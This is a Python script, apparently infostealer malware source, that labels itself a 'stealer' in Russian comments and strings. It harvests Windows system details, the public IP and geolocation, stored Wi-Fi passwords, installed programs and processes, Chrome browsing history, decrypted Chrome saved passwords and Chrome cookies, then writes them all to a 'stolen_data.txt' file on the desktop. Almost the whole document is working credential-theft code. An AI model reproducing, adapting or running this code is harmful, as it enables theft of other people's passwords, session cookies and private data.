Загрузка данных


import subprocess
import sys
import os
import platform
import urllib.request
import json
import traceback
import sqlite3
import shutil
import tempfile
from datetime import datetime
import getpass
import socket

# Пытаемся определить реальный рабочий стол
DESKTOP_CANDIDATES = [
    r"C:\Users\lazut\OneDrive\Desktop",
    r"C:\Users\lazut\Desktop",
    os.path.join(os.path.expanduser('~'), 'Desktop')
]

DESKTOP_PATH = None
for path in DESKTOP_CANDIDATES:
    if os.path.isdir(path):
        DESKTOP_PATH = path
        break

if not DESKTOP_PATH:
    # Если вообще ничего не найдено, создаём папку OneDrive\Desktop принудительно
    DESKTOP_PATH = r"C:\Users\lazut\OneDrive\Desktop"
    os.makedirs(DESKTOP_PATH, exist_ok=True)

LOG_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "log.txt")

def log(msg):
    with open(LOG_PATH, 'a', encoding='utf-8') as f:
        f.write(str(msg) + '\n')
    print(msg)

def install(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package],
                          stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Автоустановка модулей
for mod_name, pip_name in [('browser_cookie3', 'browser_cookie3'), ('win32crypt', 'pypiwin32'), ('winreg', None)]:
    try:
        if pip_name:
            __import__(mod_name)
    except ImportError:
        if pip_name:
            log(f"Устанавливаю {pip_name}...")
            install(pip_name)
            __import__(mod_name)

import browser_cookie3
import win32crypt
import winreg

CHROME_HISTORY_DB = os.path.expanduser(r'~\AppData\Local\Google\Chrome\User Data\Default\History')
CHROME_LOGIN_DB = os.path.expanduser(r'~\AppData\Local\Google\Chrome\User Data\Default\Login Data')

def get_processor():
    return platform.processor()

def get_graphics():
    try:
        cmd = 'powershell -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"'
        out = subprocess.check_output(cmd, shell=True, encoding='utf-8', errors='ignore')
        return out.strip() or "Не найдено"
    except Exception as e:
        return f"Ошибка видяхи: {e}"

def get_ip():
    try:
        with urllib.request.urlopen('https://api.ipify.org', timeout=5) as r:
            return r.read().decode()
    except Exception as e:
        return f"IP не взят: {e}"

def get_geolocation(ip):
    try:
        with urllib.request.urlopen(f'http://ip-api.com/json/{ip}', timeout=5) as r:
            data = json.loads(r.read().decode())
            return f"{data.get('city','?')}, {data.get('country','?')}, {data.get('isp','?')}"
    except Exception as e:
        return f"Гео провал: {e}"

def steal_chrome_cookies():
    try:
        cookies = browser_cookie3.chrome()
        if not cookies:
            return "Куки пусты"
        return "\n".join([f"{c.domain}\t{c.name}\t{c.value}" for c in cookies])
    except Exception as e:
        return f"Куки провал: {e}"

def get_system_info():
    return f"""Пользователь: {getpass.getuser()}
Имя ПК: {socket.gethostname()}
ОС: {platform.platform()}
Архитектура: {platform.architecture()[0]}"""

def get_disk_info():
    info = ""
    for d in 'CDEFGHIJKLMNOPQRSTUVWXYZ':
        p = d + ':\\'
        if os.path.exists(p):
            try:
                size = subprocess.check_output(f'wmic logicaldisk where "DeviceID=\'{d}:\'" get Size',
                                              shell=True, encoding='cp866', errors='ignore')
                free = subprocess.check_output(f'wmic logicaldisk where "DeviceID=\'{d}:\'" get FreeSpace',
                                              shell=True, encoding='cp866', errors='ignore')
                info += f"{d}: Всего {size.split()[-1]} байт, Свободно {free.split()[-1]} байт\n"
            except:
                info += f"{d}: Не прочитать\n"
    return info.strip()

def get_wifi_passwords():
    try:
        profiles = subprocess.check_output('netsh wlan show profiles', shell=True,
                                         encoding='cp866', errors='ignore')
        output = ""
        for line in profiles.split('\n'):
            if ":" in line and "Все" not in line and "User" not in line:
                name = line.split(":")[1].strip()
                if name:
                    key = subprocess.check_output(f'netsh wlan show profile name="{name}" key=clear',
                                                shell=True, encoding='cp866', errors='ignore')
                    for kline in key.split('\n'):
                        if "Содержимое ключа" in kline or "Key Content" in kline:
                            pwd = kline.split(":")[1].strip()
                            output += f"WiFi: {name} -> {pwd}\n"
                            break
        return output or "Нет профилей или нужны права админа"
    except Exception as e:
        return f"WiFi пароли: {e}"

def get_running_processes():
    try:
        out = subprocess.check_output('tasklist /fo csv /nh', shell=True,
                                    encoding='cp866', errors='ignore')
        return out[:2000] + ("..." if len(out)>2000 else "")
    except Exception as e:
        return f"Процессы: {e}"

def get_installed_programs():
    programs = []
    keys = [
        r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
        r"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall"
    ]
    for key_path in keys:
        try:
            with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path) as key:
                for i in range(0, winreg.QueryInfoKey(key)[0]):
                    subkey_name = winreg.EnumKey(key, i)
                    with winreg.OpenKey(key, subkey_name) as subkey:
                        try:
                            name = winreg.QueryValueEx(subkey, "DisplayName")[0]
                            programs.append(name)
                        except:
                            continue
        except:
            continue
    programs = sorted(set(programs))
    return "\n".join(programs) if programs else "Не удалось получить список"

def steal_chrome_history(max_rows=500):
    if not os.path.exists(CHROME_HISTORY_DB):
        return "Файл истории не найден (Chrome закрыт?)"
    try:
        tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".db")
        shutil.copy2(CHROME_HISTORY_DB, tmp.name)
        conn = sqlite3.connect(tmp.name)
        cur = conn.cursor()
        cur.execute("SELECT url, title, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT ?", (max_rows,))
        rows = cur.fetchall()
        conn.close()
        os.unlink(tmp.name)
        if not rows:
            return "История пуста"
        output = ""
        for url, title, timestamp in rows:
            dt = datetime(1601, 1, 1) + datetime.timedelta(microseconds=timestamp) if timestamp else datetime.min
            output += f"{dt.strftime('%Y-%m-%d %H:%M')} | {title[:50] if title else '?'} | {url}\n"
        return output
    except Exception as e:
        return f"Ошибка истории: {e}"

def steal_chrome_passwords():
    if not os.path.exists(CHROME_LOGIN_DB):
        return "Файл паролей не найден"
    try:
        tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".db")
        shutil.copy2(CHROME_LOGIN_DB, tmp.name)
        conn = sqlite3.connect(tmp.name)
        cur = conn.cursor()
        cur.execute("SELECT origin_url, username_value, password_value FROM logins")
        rows = cur.fetchall()
        conn.close()
        os.unlink(tmp.name)
        if not rows:
            return "Пароли отсутствуют"
        output = ""
        for url, user, pwd_blob in rows:
            password = "Не расшифровать"
            try:
                password = win32crypt.CryptUnprotectData(pwd_blob, None, None, None, 0)[1].decode('utf-8', errors='replace')
            except:
                pass
            output += f"{url} | {user} | {password}\n"
        return output
    except Exception as e:
        return f"Ошибка паролей: {e}"

def main():
    try:
        log("=== Старт стиллера ===")
        log(f"Определён рабочий стол: {DESKTOP_PATH}")
        
        # Проверка и создание папки рабочего стола, если её нет (на случай, если OneDrive глючит)
        os.makedirs(DESKTOP_PATH, exist_ok=True)
        
        # Тестовый файл, чтобы убедиться, что запись вообще работает
        test_file = os.path.join(DESKTOP_PATH, "test_created.txt")
        with open(test_file, 'w') as f:
            f.write("Этот файл создан стиллером. Если видишь его, скрипт сработал.")
        log(f"Тестовый файл создан: {test_file}")
        
        # Основной файл
        filepath = os.path.join(DESKTOP_PATH, "stolen_data.txt")
        ip = get_ip()
        data = f"""[] RAGE MODE [] EXTENDED STEALER (без UUID)
Дата: {datetime.now()}
{get_system_info()}
IP: {ip}
Геолокация: {get_geolocation(ip)}
Процессор: {get_processor()}
Видеокарта: {get_graphics()}

=== ДИСКИ ===
{get_disk_info()}

=== ПАРОЛИ Wi-Fi ===
{get_wifi_passwords()}

=== ЗАПУЩЕННЫЕ ПРОЦЕССЫ ===
{get_running_processes()}

=== УСТАНОВЛЕННЫЕ ПРОГРАММЫ ===
{get_installed_programs()}

=== ИСТОРИЯ CHROME (последние 500) ===
{steal_chrome_history(500)}

=== ПАРОЛИ CHROME ===
{steal_chrome_passwords()}

=== КУКИ CHROME ===
{steal_chrome_cookies()}
"""
        with open(filepath, 'w', encoding='utf-8') as f:
            f.write(data)
        log(f"Основной файл успешно создан: {filepath}")
    except Exception as e:
        log(f"ПИЗДЕЦ ОШИБКА: {e}")
        log(traceback.format_exc())
        # Экстренный сброс в корень пользователя
        fallback = os.path.join(os.path.expanduser('~'), "STOLEN_EMERGENCY.txt")
        with open(fallback, 'w', encoding='utf-8') as f:
            f.write("Крах стиллера:\n" + traceback.format_exc())
        log(f"Аварийный файл в {fallback}")

if __name__ == "__main__":
    main()